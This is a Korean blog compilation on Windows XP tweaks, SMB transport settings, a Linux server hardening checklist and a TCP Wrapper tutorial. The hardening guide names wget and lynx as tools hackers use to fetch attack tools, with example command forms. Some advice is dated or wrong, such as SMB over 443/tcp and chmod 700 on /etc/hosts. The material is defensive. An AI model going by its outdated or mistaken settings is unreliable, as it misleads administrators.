윈도우즈 XP는 불법 복제를 쓰지 못하게 인터넷으로 정품 등록을 한다. 이것을 흔히 ‘인증을 받는다’고 한다. 하지만 인증을 받지 않고도 정품처럼 쓰는 불법 OS가 널리 퍼져 있다. 정품인데도 인증을 받지 않으면 적어도 30일 동안 작동한다. 과연 내가 쓰는 윈도우즈 XP는 인증을 받은 것일까?
시작 → 실행 → oobe/msoobe /a라고 치면 인증 창이 뜬다.

정상적인 OS이면 그림처럼 인증을 받았다는 메시지가 보인다.

57. MSN 메신저를 지우자
프로그램 추가/제거에서는 MSN 메신저를 지울 수 없다. 지우고 싶다면 시작 → 프로그램 → 보조프로그램에 있는 메모장으로 c:\windows\servicepackfiles\sysoc.inf 파일을 연다.
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7이라고 되어 있는 줄을 찾은 뒤,
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,7로 바꿔주면 시작 → 제어판 → 프로그램 추가/제거 → windows 구성요소 추가/제거에 MSN 메신저 체크박스가 뜬다. 이 박스를 끄면 MSN 메신저를 지울 수 있다.

MSN 메신저를 쓰지 않는다면 이 곳에서 지우면 된다.

58. L2 캐시 매만져 PC를 재빨리 돌리자
윈도우즈 XP는 CPU의 L2 캐시를 알아채 PC를 재빨리 돌린다. 하지만 데이터가 많아지거나 멀티태스킹을 할 때 캐시를 읽지 못해 순간적으로 느려질 때가 있다. 캐시를 고정시켜 운영체제가 일일이 캐시 메모리를 찾는 수고를 덜어주자.
시작 → 실행 → regedit 라고 누르면 레지스트리 편집기가 뜬다.
KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management를 찾은 뒤 SecondLevelDataCache를 고른다.
그 다음 내 CPU에 맞는 캐시를 넣으면 된다. 바탕화면에 있는 ‘내 컴퓨터’를 누른 뒤 오른쪽 메뉴를 불러와 ‘속성’을 누르면 내 CPU 정보가 뜬다.

59. 다이렉트 X의 최신 버전 깔기
시작 → 실행에서 dxdiag라 쳐 넣고 엔터를 치면 다이렉트 X 버전 뿐 아니라 갖가지 정보가 뜬다. 다이렉트 X가 8.1 이하가 깔려있다면 9.0을 새로 까는 것이 좋다. 게임속도가 재빨라지기 때문이다. 다이렉트 X 9.0을 내려받고 싶다면 시작 → windows update에서 인터넷 익스플로러 창이 뜨면 ‘업데이트 검색’을 누른 다음 중요 업데이트 및 서비스 → 업데이트 검토 및 설치를 눌러 ‘지금 설치’를 누르면 된다.

다이렉트 X 9.0이상이 깔려있는지 확인하자.

60. 인터넷 익스플로러를 전체 화면으로 보자
인터넷 익스플로러를 전체 화면으로 시원시원하게 보는 방법이 있다.
인터넷 창을 띄우고 F11 키를 눌러도 되지만 항상 전체 화면으로 띄우려면 레지스트리를 매만져야 한다. 시작 → 실행 → regedit 라고 누르면 레지스트리 편집기가 뜬다.
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main 으로 간 다음 오른쪽 창에서 FullScreen을 찾는다.
FullScreen을 두 번 눌러 no를 yes로 바꾸면 된다
Posted by 1010
98..Etc/Security2008. 7. 24. 11:54
반응형

SMB Transport 프로토콜



 

Windows 2000에서 일반적으로 SMB/CIFS 전송 프로토콜의 타입은 NetBIOS over TCP/IP이다.  Windows2000이 시작되면 SMB/CIFS는 NetBIOS 계층을 통하지 않고도 직접적으로 TCP(443/TCP)로 전송할 수 있다.

Windows 시스템에서 어떤 SMB Transport가 활성화되어 있는지 확인하는 방법은 아래와 같은 명령어를 사용해서 확인할수 있다.

"net config rdr"과 "net config srv" 명령어는 NetWkstaTransportEnum()와 NetServerTransportEnum() Win32 API를 사용한다.

C:\>net config rdr
컴퓨터 이름                      \\HKnight
전체 컴퓨터 이름                 HKnight
사용자 이름                      HKnight

활성 워크스테이션
        NetbiosSmb (000000000000)
        NetBT_Tcpip_{88AF4C41-3AEE-4613-9879-B54C4F8F3439} (00E0910F8C6B)
        NetBT_Tcpip_{9ED3AFE3-9CF9-43E4-8FB1-8F045F9FCAA1} (005056C00001)
        NetBT_Tcpip_{6AB8E94E-9CEF-4A8D-B7DE-20F8CC85A36B} (005056C00008)

소프트웨어 버전                  Windows 2002

워크스테이션 도메인              WORKGROUP
워크스테이션 도메인 DNS 이름     (null)
로그온 도메인                    HKnight

COM 열기 시간 초과 (초)          0
COM 전송 수 (바이트)             16
COM 전송 시간 초과 (밀리초)      250
명령을 잘 실행했습니다.


C:\>net config srv
서버 이름                             \\HKnight
서버 설명                             HKnight

소프트웨어 버전                       Windows 2002
서버 활성화
        NetbiosSmb (000000000000)
        NetBT_Tcpip_{6AB8E94E-9CEF-4A8D-B7DE-20F8CC85A36B} (005056c00008)
        NetBT_Tcpip_{9ED3AFE3-9CF9-43E4-8FB1-8F045F9FCAA1} (005056c00001)
        NetBT_Tcpip_{88AF4C41-3AEE-4613-9879-B54C4F8F3439} (00e0910f8c6b)


서버 숨겨짐                           아니오
로그온 사용자 최대 수                 5
세션당 열 수 있는 파일의 최대 수      16384

유휴 세션 시간 (분)                   15
명령을 잘 실행했습니다.

NetWkstaTransportEnum()와 NetServerTransportEnum() Win32 API는 두개의 RPC Call를 이용한다.

Samba-TNG rpcclient 유틸리티는 srvtransports command를 제공한다. 그리고 그것은 retrieve server-side transports로서 .

참고로 Windows NT 4.0와 Windows 2000 systems의 NetServerTransportEnum() API는 버그가 있는 것으로 알려져 있다. 

Windows Vista에서는 "net config srv"  명령어 결과가 다음과 같이 출력된다. 

C:\WINDOWS>net config srv  [...]  Software version                      Windows (TM) Code Name "Longhor Server is active on                    	NetbiosSmb (WINVISTA) 	NetBT_TCPIP_{34559422-6B8D-4328-BAA1-25A6A331C6A8} (WINVISTA)  [...]

Active transports는 

  • NetbiosSmb는 raw SMB transport (445/tcp)를 사용한다.
  • NetBT_Tcpip_{...} 는 NetBT SMB transport로서 per-adapter basis당 하나씩 연결된다.

raw SMB transport can not be disabled on a per-adapter basis. To completely disable it, the NetBT driver must be stopped.

A Windows system with both SMB transports active tries to connect to 445/tcp and 139/tcp at the same time. If the connection to 445/tcp is accepted, the connection to port 139 is closed (sending a TCP segment with the RST flag set), i.e., raw SMB transport is preferred over NetBT transport


출처 : http://hacking.egloos.com/69730

Posted by 1010
98..Etc/Security2008. 7. 24. 11:50
반응형

리눅스보안셋팅.

 

1.chmod 700변경하기
본 권한변경 목적은 계정을 통하지 않은 불법적인 접근을 막기
위한 방법으로 가능한 필요하지 않은 파일들의 권한을 변경해
주시기 바랍니다. 특히 suid가 걸린 파일의 경우 절대적으로
권한변경을 해주시기 바랍니다.
/usr/bin/finger(chmod 700 적용) <-- 서버 이용자 파악을 하지 못하게 함
/usr/bin/nslookup(chmod 700 적용)
/usr/bin/gcc(chmod 700 적용) <-- 당연히 막아줘야져.
/usr/bin/suidperl(chmod 700 적용) <--suid 걸린 파일
/usr/bin/whereis(chmod 700 적용)
/usr/bin/cc(chmod 700 적용) <--- 소스 컴파일은 루트이외에 못하도록 조치
/usr/bin/sperl5.00503(chmod 700 적용) <--- perl중에 suid걸린 파일임
/usr/bin/c++(chmod 700 적용)
/usr/bin/make(chmod 700 적용)
/usr/bin/pstree(chmod 700 적용)
/usr/bin/rlog(chmod 700 적용)
/usr/bin/rlogin(chmod 700 적용) <-- 필요없는 경우에는 삭제 하시길
/usr/bin/which(chmod 700 적용)
/usr/bin/who(chmod 700 적용)
/usr/bin/w(chmod 700 적용)
/bin/mail(chmod 700 적용) <-- 아웃룩익스프레스가 아닌 계정상에서
텔넷으로 메일을 확인하지 못하게 하십시요.
/bin/ps(chmod 700 적용)
/etc/hosts(chmod 700 적용)
/etc/hosts.deny(chmod 700 적용)
/etc/hosts.allow(chmod 700 적용)
2.anonymous ftp 막기
#vi proftpd.conf (/etc 에 위치)
중략
에서
UserAlias anonymous ftp //이부분을 주석처리 해준다.
wq (저장후 종료)
3.telnet 사용막기 <--가장 추천하는 방법입니다.
현재 텔넷이 막힌 경우에는 해킹의 위험이 극히 줄어듭니다.
텔넷을 사용하시고자 하시는 분은 데이터 센터의 보안 서비스나
다른 방법을 사용하시기 바랍니다.

ip 거부
#vi hosts.deny (/etc 에 위치)
in.telnet:ALL
wq (저장후 종료)
#hosts.allow (/etc에 위치)
ALL:(IP 추가) <--- 텔넷으로 들어올 아이피만 적는다.
wq (저장후 종료)
저장후 다음과 같이
#/etc/rc.d/init.d/inet restart
telnet 서비스 제공업체측 ip를 추가해야 telnet 사용가능
4.ping 막는법 <---당연히 핑도 막아야 겟죠.
#echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all //ping 막기
#echo 0 > /proc/sys/net/ipv4/icmp_echo_ignore_all //ping 열기
5.chkconfig 사용법(부팅시 수행되는 서비스) <--중요합니다.
#chkconfig --list (/sbin 밑에 위치)
#chkconfig --help (참고)
#chkconfig --level 3 sendmail off (사용방법예)
보통 부팅의 경우 레벨3으로 부팅이 됩니다.
그러므로 레벨3에서 필요하지 않은 데몬은 위와 같은 방법으로
모두 꺼두시기 바랍니다.
#chkconfig --list (하면 나오는것들)
xfs 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
anacron 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
apmd 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
arpwatch 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
atd 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
keytable 0:끔 1:끔 2:켬 3:켬 4:켬 5:켬 6:끔
gpm 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
inet 0:끔 1:끔 2:끔 3:켬 4:켬 5:켬 6:끔
netfs 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
network 0:끔 1:끔 2:켬 3:켬 4:켬 5:켬 6:끔
random 0:끔 1:켬 2:켬 3:켬 4:켬 5:켬 6:끔
ipchains 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
pcmcia 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
kdcrotate 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
kudzu 0:끔 1:끔 2:끔 3:켬 4:켬 5:켬 6:끔
linuxconf 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
lpd 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
nfs 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
nfslock 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
identd 0:끔 1:끔 2:끔 3:켬 4:켬 5:켬 6:끔
portmap 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
rstatd 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
rusersd 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
rwalld 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
rwhod 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
sendmail 0:끔 1:끔 2:켬 3:켬 4:켬 5:켬 6:끔
syslog 0:끔 1:끔 2:켬 3:켬 4:켬 5:켬 6:끔
snmpd 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
crond 0:끔 1:끔 2:켬 3:켬 4:켬 5:켬 6:끔
ypbind 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
yppasswdd 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
ypserv 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
proftpd 0:끔 1:끔 2:끔 3:켬 4:켬 5:켬 6:끔
named 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
이중 켜야할것은 보통 9개정도밖에 안됩니다. 3번레벨을
기준으로, keytable,inet, network,random,kudzu,sendmail,syslog,
crond,proftpd 나머지는 off 시켜주는것이 바람직합니다. (자기의
환경에 맞춰서)
참조문서는 http://www.osfs.net/redhat/security-guide-01.doc
6.find 관련 명령
#find /dev -type f // /dev/MAKEDEV만떠야함 (백도어 찾기)
#find / -ctime -1 //하루동안 만들어진 화일 (해킹당한듯 싶으면 확인 )
#find / -perm -4000 // setuid 걸린 파일을 찾는 명령어
7./etc/inetd.conf 화일 수정
네트워크의 서비스를 정의하고 있는 화일로서 , 정의되어 있는
서비스가 많이 있다. 보안사고를 피하기 위해서는 최대한
필요하지 않은 서비스는 차단하는게 바람직하다. 기본적으로 ,
telnet,ftp,pop3외의것은 주석처리 하는것이 좋다. 닫아놨는데,
이외의 것이 열려있다면 해킹의 가능성이 있다. 이때는 다시
주석처리를 하고
#ps -ef | grep inetd //프로세스 확인
#kill -HUP PID //리셋
#vi inetd.conf (/etc 에 위치)
telnet
ftp
pop3
나머지는 주석처리
wq (저장후 종료)
tip> #kill -9 PID //프로세스 죽이기
8.해킹이 확실한경우 대처법
해킹이 확실한상태에서 그냥 컴퓨터를 종료시키면, 재부팅이
안될수가 있다. 이것을 막기 위해,
#/etc/rc.d/rc.SYSinit 권한을 755를 준다. 최소한 부팅은 된다.
서버 & 보안 관련 문의
http://www.besthan.net 또는 http://www.koreaphp.co.kr
해킹시 연락처
http://www.certcc.or.kr/ 해킹시 신고처
cyber 테러대응센터 02-3939-112
cyber 수사대 02-365-7128
해킹 없는 세상에 살고싶은 오렌지블루였슴돠.


PART II는 PART I에서 수정되어야 하는 부분이나 추가 되어야 할
내용을 추가 했습니다. 보안을 위해 이문서를 참조하는 것도 좋습니다.
그러나 서버 운영 특성상 꼭 필요한 경우도 있으나 이 제한을 걸어서
사용할수 없는 경우가 있으니 꼭 확인후 조치를 부탁합니다.
(이 문서를 끝까지 읽어 주시면 서버운영에 많은 도움이 될듯합니다.)
- 문의 사항은 khsheen@inempire.com으로 해 주십시요
설명순서는 PART I 에서 설명을 보충하고 기타 더 필요한 설명을
추가 하겠습니다.
<보안관련및 기본명령>
1.chmod 700변경하기

첨부 명령어
/usr/bin/top (chmod 700 적용)
/usr/bin/find (chmod 700 적용)
/usr/bin/lynx (chmod 700 적용)
/usr/bin/wget(chmod 700 적용)
--> 이두 명령어는 일반적으로 해커들이 해킹툴을 가져올때 자주쓰는
명령어
shell-prompt>lynx --dump 가져올화일이 있는 url 경로
shell-prompt>wget 가져올화일이 있는 url 경로

/usr/bin/gcc(chmod 700 적용) <-- 당연히 막아줘야져.
/usr/bin/c++(chmod 700 적용)
/usr/bin/make(chmod 700 적용)
이 명령어를 막게 되면 일반사용자들이 C언어로 작성된 프로그램을
컴파일하지 못하여 불평을 호소하는 경우가 있다.
이런 경우는 이 명령어를 사용할수 있는 그룹을 설정해 주면 준다.
(일반적으로 wheel이라는 그룹을 많이 사용함, 다른 그룹을 등록해서
사용해도 무관)
* example) find 명령어의 사용자를 제한 할 경우
shell-prompt>grep wheel /etc/group
wheel:x:10:root
/etc/group 화일에 wheel:x:10:root 이분에 wheel이라는 그룹에 user를
추가 한다.(khsheen이라는 user가 있을경우임)
wheel:x:10:root,khsheen
이러면 wheel이라는 그룹에 khsheen 이라는 user가 등록된다.
shell-prompt>ls -la /usr/bin/find
-rwxr-xr-x 1 root root 54544 Feb 3 2000 /usr/bin/find*
shell-prompt>chgrp wheel find
shell-prompt>chmod 755 find
shell-prompt>ls -la /usr/bin/find
-rwxr-x--- 1 root wheel 54544 Feb 3 2000 find*
이런식으로 설정하면 find 명령어는 root와 khsheen만 사용할수 있다.
이 명령어를 su 명령어에도 적용하는 것을 권장함, root로 전환할
유저 (su 명령어 사용자)를 제한 할수 있다.
2.anonymous ftp 막기
특정 user가 ftp 접속후 본인의 Directory 외에 다른 유저의
Directory를 접근 못하게 할 경우
(접근을 해서 read 권한만있어도 그 유저의 설정을 모두볼수있다.)
*proftp를 사용하는 경우
shell-prompt> vi /etc/proftpd.conf
이 화일에 이 한줄을 추가한다.
DefaultRoot ~ member
shell-prompt>/etc/rc.d/init.d/proftpd restart
이러면 본인의 Directory외에 다른 유저의 계정은 접근 불가.
3.telnet 사용막기
telnet을 막는 다는 것은 특히 유저가 많은 경우는 불가능 일인것
같다. (특히 웹호스팅업체) 이런 경우는 ssh(Secure Shell)을
설치해서 사용하는 것을 권장합니다.
6.find 관련 명령어 관련 명령어 사용하기
shell-prompt> find / -nouser (화일에 소유자가 없는 경우의 화일)
일반사용자의 사용 디렉토리에서 ...
화일에 소유자가 없다는것은 의심을 해볼필요가 있다.
shell-prompt> find /home/khsheen -user root
(일반사용자인데 root로 되어 있는 화일도 의심해볼 필요가 있다)
8.해킹이 확실한경우 대처법
a.우선 가장 좋은 방법은 port(랜선)를 제거하는 것이 가장 좋다.
b.그 다음에 설치 되어 있는 해킹툴을 제거한다.
-프로세스 확인
[ 이상한(필요없는) 프로세스 확인해서 설치된 위치 확인후 지우기]
shell-prompt> kill -9 이상한 프로세스 id
그러나 100%제거 한다는 것은 힘들것 같다.
서버를 제 세팅하는 것을 권장한다.
c.중요 data 백업

9.기타 보안에 관련된 내용
a.php , mysql db 지원하는 경우
-일반적으로 php로 mysql에 db에 접속하는 경우 php에서
connect하는 스크립트를 사용하는 화일을 일반적으로 Web상에
공개된 소스에는 화일명이 대부분 connect.inc 를 사용하는데
이것을 웹브라우저에 불러오게 되면 바로 읽혀 져서 mysql db접속
아이디와 패스워드를 알수가 있게된다.
이럴경우는 웹서버의 설정화일(httpd.conf)에
AddType application/x-httpd-php .php .html .php3 .php3 .inc
~~~~~!!
AddType application/x-httpd-php-source .phps
추가하고 웹서버를 제구동한다.
그러면 .inc로 끝나는 화일도 php로 인식하므로 스크립트
노출을 막을수 있다.
또한가지 telnet ftp에 사용시 group을 같게 해주고 각 계정의
root Directory를 퍼미션을 705로 처리해 주면 다른 유저가
다른 사용자의 계정에 들어 갈수가 없다.
만약 755로 한다면 다른 유저에게도 읽을 권한이 생겨서 connect
스크립트를 읽을 수 있어 db접속 아이디/passwd를 얻을수 있다.
b.사용자들의 passwd
- 등록된 user의 passwd를 자주 갱신하게 만든다.
shell-prompt>vi /etc/login.defs
이중 아래의 스크립트를 일정기간 설정해서 사용자들의
passwd를 바꾸게 만든다.
PASS_MAX_DAYS 99999
~~~~~ 일정기간으로 잡아준다.
c.shell 없애기
- 메일계정으로만 사용하는 경우(shell이 필요없는 경우)의
유저가 많다. 특히 웹호스팅 사용자
이런 경우 shell을 주지 않으면 된다.
shell-prompt>vipw
khsheen:x:500:502::/home/gdm:/bin/false
~~~~~~~~~~
khsheen이라는 유저에게 shell을 부여하지 않는다.

- 서버에 등록된 사용자가 많은 경우 사용자가 관리에
신경을 많이 써야 한다. last 명령을 사용하여 자주 telnet으로
접속하는 사용자는 history를 자주 살펴보는 것도 좋다.
shell-prompt> last | grep pts

d.보안패치하기
-서버 보안에서 가장 중요한 것이 패치이다.
서버에 버그가 발표되면 해커도 그것을 접한다고 생각하면 된다.
그래서 서버에 최신 패키지를 설치해야 하며 보안 뉴스를 빨리
접해야 한다. 그중 커널 업테이드등은 중요한다.
* 커널 최신 정보 확인하기
shell-prompt>finger @www.kernel.org
[zeus.kernel.org]
The latest stable version of the Linux kernel is: 2.2.17
~~~~~~
The latest beta version of the Linux kernel is: 2.4.0-test11
The latest prepatch (alpha) version *appears* to be: 2.4.0-test12-pre4

2. 2. 17
| | |
| | -> 몇번의 패치가 있었는지 나타낸다.
| -> 안정화 버전인지 개발화 버전이지를 나타낸다.
| (홀수:개발, 짝수:안정)
-> 획기적인 변화가 있을때 바뀐다

그리고 기타 패키지에 대한 버그는 빨리 접하고 패치를 해야 한다.
http://www.redhat.com/support/errata/index.html (redhat인 경우)
해킹관련 소식 접하기
http://certcc.or.kr/ (한국정보 보호센터)
http://www.hackersnews.org/
http://www.securenews.co.kr/
Posted by 1010
98..Etc/Security2008. 7. 24. 11:49
반응형

TCP Wrapper (source: 카이스트)

 

initAd();


1. What's TCP Wrapper ?
2. Why TCP Wrapper is used ?
3. How does it work?
4. How to install and use TCP Wrapper
5. Reference



 1. What's TCP Wrapper.

 TCP Wrapper 란 현재의 시스템에서 SYSTAT, FINGER, FTP, TELNET, RLOGIN, RSH, EXEC, TFTP,TALK 등의 monitoring를 하고 filtering을 할 수 있게 해주는 것이다 .
 이것은 현재 깔려있는 소프트웨어나 설정화일을 변경시키지 않고 깔 수있는 작은 daemon 프로그램으로 클라이언트 호스트와 요구받은 서비스의 이름은 report를 한다. 그래서 서버나 클라이언트 프로그램의 정보를 변화 시키지 않고 , 처음 connection 을 연결할 때에만 동작하므로 클라이언트나 서버의 application 간의 실제의 데이터 통신에서는 오버헤드가 발생하지 않는다 .

 2. Why TCP Wrapper is used?

 Wrapper는 외부에서 들어오는 호스트를 체크하는 방어의 의미를 가지고 있는 것으로 그 중에 유명한 것이 TCP Wrapper 이다 . 이것은 호스트에 들어오려는 곳의 IP Address 를 체크하여 관리자가 접속을 허용한 호스트 들만을 접속을 하기 때문에 외부로의 크래킹으로부터 방어를 할 수 있다 . 이것은 inetd 라는 daemon( 이것은 뒤에 설명 ) 을 교체하여 IP Address 를 체크하는 모듈을 가지고 있다.
 TCP Wrapper 와 비슷한 기능을 제공하는 보다 보안이 강화된 INETD 버전으로 시간에 따라 서비스를 제한하는 기능을 가진 xinetd 라는 것도 있다 .

 3. How does it work?

 3.1 전형적인 UNIX TCP/IP networking
  거의 모든 TCP/IP protocal application 은 클라이언트 - 서버 모델이 기본이 된다.
  예를 들어 누군가가 telnet command 를 이용해서 호스트로 접속을 했다면 target host는 telnet server  process 를 시작할 것이다 . 그리고 그것은 유저가 로긴할 수 있도록 할 것이다 .

  이런 클라이언트 - 서버 모델의 예들은 다음과 같다.

client

server

application

telnet

telnetd

remote login

ftp

ftpd

file transfer

finger

fingerd

show users

systat

server

application

 Table 1. Examples of TCP/IP client-server pairs and their applications.


 보통 UNIX 시스템에서는 들어오는 모든 종류의 네트웍 커넥션을 기다리는 하나의 daemon 을 띄어서 사용을 하고 이 커넥션이 성립이 되었을 때 ( 보통 흔히 우리가 inetd 란 부르는 ) 이 daemon 이 적당한 서버 프로그램을 실행하게 된다 . 그리고 이 daemon 은 다시 sleep 가 되고 다른 커넥션을 기다리게 된다 .
 즉 ,telnet 의 경우에는
 [user] -- [telnet client] -- (inetd) -- [telnet server] -- [[login]]
 이용자는 telnet 프로그램 (netterm) 을 실행키켜 원하는 장비에 접속을 시도한다 . 이때 서버장비에서는 inetd 가 요청을 받아 inetd.conf 를 살펴본다음 telnetd 프로그램을 실행시킨다 .

 3.2 TCP_Wrapper 를 적용하면

 위의 방법을 이용하게 되면 크래커가 염탐하는 문제가 발생하게 된다 . 이런 문제를 해결하기 위해서는 현재 존재하는 네트웍 소프트웨어들은 바꾸는 것이 필요하다 . 그런 거기에서는 몇개의 문제점들이 존재하게 된다 .
   첫째로 우리는 현재 가지고 있는 시스템들인 Ultrix, SunOS 등의 UNIX 프로그램의 소
             스 라이센스를 가지고 있지 않다 . 그리고 또 우리는 물론 이런 소스들도 가지고 있지 않다 .
   둘째로 버클리 네트웍 소스 ( 대부분의 상업적인 UNIX TCP/IP 프로덕트로 발전되어진) 는 가능하다 .
             그러나 이것을 우리의 환경에 맞게 포팅을 하는 것은 아주 많은 시간이 걸릴 것이다 .

  Figure 1. The inetd daemon process listens on the ftp, telnet etc. network ports and waits for incoming con- nections. The figure shows that a user has connected to the telnet port.
  

 Figure 2. The inetd process has started a telnet server process that connects the user to a login pro- cess. Meanwhile, inetd waits for other incoming con- nections.

 그러나 이런 존재하는 소프트웨어들을 바꾸지 않고 문제를 해결하는 간단한 방법이 존재한다 . 그리고 이 방법은 거의 모든 UNIX 시스템에서 작동을 하기 때문에 간단히 해결할 수
 있다 . 그 방법은 스왑을 만드는 것이다 . 즉 벤더에서 제공하는 네트워크 서버 프로그램을 다른 곳에다 옮기고 원래의 네트워크 서버 프로그램의 자리에 간단한 프로그램을 인스톨하는 것이다 . 그래서 커넥션이 맺여질 때마다 이 간단한 프로그램이 리모트 호스트의 이름을 기록하고 , 확인한 다음에 원래의 네트워크 서버 프로그램을 실행시키는 것이다. 이런 방법을 이용한 것이 TCP Wrapper이다.
 


 Figure 3. The original telnet server program has been moved to some other place, and the tcp wrapper has tak- en its place. The wrapper logs the name of the remote host to a file.



 Figure 4. The tcp wrapper program has started the real telnet server and no longer participates. The user can- not notice any difference.

 아래는 TCP_Wrapper 를 적용한 예를 보여주는 것으로 콘솔에 나타나는 기록이다 . 처음의 약간은 크래커가 접속하려고한 흔적이 보였고 각각의 커넥션은 time stamp, the name of the local host,the name of the requested service (actually, the network server process name), and the name of the remote host 순으로 적혀 있는 것이다 . 이 예는 크래커가 단지 monk.rutgers.edu 와 같은 dial-up terminal server 를 사용했다는 것 뿐만아니라 군사기관 (.MIL) 과 대학 컴퓨터 시스템 (.EDU) 을 침입했다는 것도 보여준다 .
 (ftp://ftp.porcupine.org/pub/security/tcp_wrapper.txt.Z 에서 인용 )

     May 21 14:06:53 tuegate: systatd: connect from monk.rutgers.edu
     May 21 16:08:45 tuegate: systatd: connect from monk.rutgers.edu
     May 21 16:13:58 trf.urc: systatd: connect from monk.rutgers.edu
     May 21 18:38:17 tuegate: systatd: connect from ap1.eeb.ele.tue.nl
     May 21 23:41:12 tuegate: systatd: connect from mcl2.utcs.utoronto.ca
     May 21 23:48:14 tuegate: systatd: connect from monk.rutgers.edu

     May 22 01:08:28 tuegate: systatd: connect from HAWAII-EMH1.PACOM.MIL
     May 22 01:14:46 tuewsd:  fingerd: connect from HAWAII-EMH1.PACOM.MIL
     May 22 01:15:32 tuewso:  fingerd: connect from HAWAII-EMH1.PACOM.MIL
     May 22 01:55:46 tuegate: systatd: connect from monk.rutgers.edu
     May 22 01:58:33 tuegate: systatd: connect from monk.rutgers.edu
     May 22 02:00:14 tuewsd:  fingerd: connect from monk.rutgers.edu
     May 22 02:14:51 tuegate: systatd: connect from RICHARKF-TCACCIS.ARMY.MIL
     May 22 02:19:45 tuewsd:  fingerd: connect from RICHARKF-TCACCIS.ARMY.MIL
     May 22 02:20:24 tuewso:  fingerd: connect from RICHARKF-TCACCIS.ARMY.MIL

     May 22 14:43:29 tuegate: systatd: connect from monk.rutgers.edu
     May 22 15:08:30 tuegate: systatd: connect from monk.rutgers.edu
     May 22 15:09:19 tuewse:  fingerd: connect from monk.rutgers.edu
     May 22 15:14:27 tuegate: telnetd: connect from cumbic.bmb.columbia.edu
     May 22 15:23:06 tuegate: systatd: connect from cumbic.bmb.columbia.edu
     May 22 15:23:56 tuewse:  fingerd: connect from cumbic.bmb.columbia.edu

 여기에서 크래커는 사실상 finger 와 systat 로 시스템을 공격을 한 것이나 마찬가지다 왜냐하면 finger 나 systat 는 시스템에 누가 있는 지를 알수 있게 해주는 것이기 때문이다 . 그 후에 크래커는 telnet 커넥션을 맺으려고 했다 . 아마 추측컨대 single login 시도를 했고 즉시 끊었을 것이다 . 그래서 "repeated login failure" 라 콘솔에 기록되지 않았을 것이다 .

 크래커를 구분하는 방법은 다음과 같이 쉽다 .

 첫째로 대체로 다른 사람들의 활동이 거의 없는 밤에 종종 활동한다 .
 둘째로 자주 연속된 커넥션을 맺는다 . 그런데 커넥션을 맺는 시간에 간격을 띄어서 자산    의 활동을 숨기려고 한다 . 그러나 여러 시스템의 로그를 합침으로써 크래커가 들    어왔었다는 것을 보는 것이 쉽다 .
 셋째로 시스템에 계정이 있는 사람은 누구도 systat service 를 사용하지 않는다 .

이렇게 TCP_Wrapper 를 사용하게 되면 자신이 원하는 호스트들로부터의 접속만을 허용할 뿐아니라 자신의 시스템의 접속을 확인하고 모니터링을 할 수 있게 한다 .

다음의 예는 실제로 syslog를 살펴본 것으로 telnet 과 ftp에 대하여 다음과 같이 각각의 데몬에 대하여 원하는
자신의 원하는 호스트로만의 접속이 이루어지게 되는 것을 볼 수 있다.

Mar  7 23:12:53 major in.telnetd[22706]: connect from kbs06.kaist.ac.kr
Mar  7 23:22:25 major in.telnetd[22761]: connect from taehan.kaist.ac.kr
Mar  8 00:48:52 major in.telnetd[22954]: refused connect from 143.248.175.120

Mar  8 10:09:21 major in.telnetd[23279]: connect from kbs08.kaist.ac.kr
Mar  8 10:41:36 major in.ftpd[23588]: refused connect from gec09.kaist.ac.kr
Mar  8 11:04:21 major in.telnetd[23608]: connect from kbs22.kaist.ac.kr
Mar  8 11:09:49 major in.telnetd[23657]: connect from kbs09.kaist.ac.kr
Mar  8 11:35:47 major in.telnetd[23736]: connect from kbs06.kaist.ac.kr
Mar  8 11:38:09 major in.telnetd[23772]: refused connect from captain


 4. How to install and use TCP_Wrapper

 현재 99 년 1 월의 CERT advisory 를 보면 TCP Wrapper 의 Trojan horse version 이 돌아다닌다는 보고가 있었다 . 아래와 같은 차이가 있으므로 확인을 하고 잘 받기를 바란다.
 자세한 사항은 http://www.cert.org/advisories/CA-99-01-Trojan-TCP-Wrappers.html 에서 확인
 받는 곳 : ftp://ftp.porcupine.org/pub/security/

Correct version:
           tcp_wrappers_7.6.tar.gz
           MD5 = e6fa25f71226d090f34de3f6b122fb5a
           size = 99438
           tcp_wrappers_7.6.tar
           MD5 = 5da85a422a30045a62da165404575d8e
           size = 360448

Trojan Horse version:
           tcp_wrappers_7.6.tar.gz
           MD5 = af7f76fb9960a95a1341c1777b48f1df
           size = 99186

 이 설치법은 정주원님의 허락을 받고기재하는것임을밝힙니다.

                성질급한 사람들을 위한 TCP wrapper 설치법
                =========================================

0. RedHat linux라면 tcp_wrapper가 설치되어 있다. 14단계로 간다.

1. tcp_wrappers_x.x.tar를 ftp에서 받아온다.

2. tar xf tcp_wrappers_x.x.tar 를 실행하여 tar 화일을 푼다.

3. cd tcp_wrappers_x.x 한다.

4. README를 읽는다.
